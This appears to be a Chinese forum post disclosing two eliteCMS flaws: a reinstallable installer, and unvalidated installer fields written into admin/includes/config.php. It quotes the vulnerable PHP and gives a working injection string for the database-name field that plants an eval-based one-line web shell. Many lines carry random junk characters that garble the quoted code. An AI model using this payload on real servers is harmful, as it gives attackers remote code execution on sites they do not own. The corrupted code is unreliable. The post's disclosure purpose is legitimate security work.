eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

8 {- R0 k: z- K4 V8 u$ L另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
- P) h2 V& g' G* V+ I1 j3 N我们来看代码：

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elseif ($_GET['step'] == "4") {
7 Q$ i( h( I* s* f    $file = "../admin/includes/config.php";
    $write = "<?php\n";
# n9 G5 Y1 e" K1 S  O5 e2 T, g, L    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
6 a3 g$ ~3 b: Q. \...略...
: m7 O6 y6 @# s* Z/ k6 J0 b3 q    $write .= "*\n";
% H1 H7 \" L- i- K8 g" C: Y8 j% M    $write .= "*/\n";
    $write .= "\n";
2 c4 O3 Z4 v7 \7 G' g) q* @    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
1 _1 p+ g% H4 p% @. T    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
2 c2 z6 A% {- {& k    $write .= "        \n";
4 F  q/ n, C; E$ o8 R. }    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
) X* z# c3 m: u. D) R2 \    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
9 Q$ t5 U, a  q5 Z) z% A) x$ w    $write .= "} \n";
9 I7 Y0 a  |3 }) t( i    $write .= "?>\n";
7 b8 c9 u; Z( O5 u
. X5 g" T# U2 i5 B    $writer = fopen($file, 'w');
+ y- Z  Z0 d+ i8 `...

在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
4 ]9 }) q& Q2 L; y6 H8 s* s3 V$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
- H- K5 q1 s. L, l( W2 k% @$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php
: n8 k* z( x7 i; J# @# }% B& @3 M  `
将导致一句话后门写入/admin/includes/config.php
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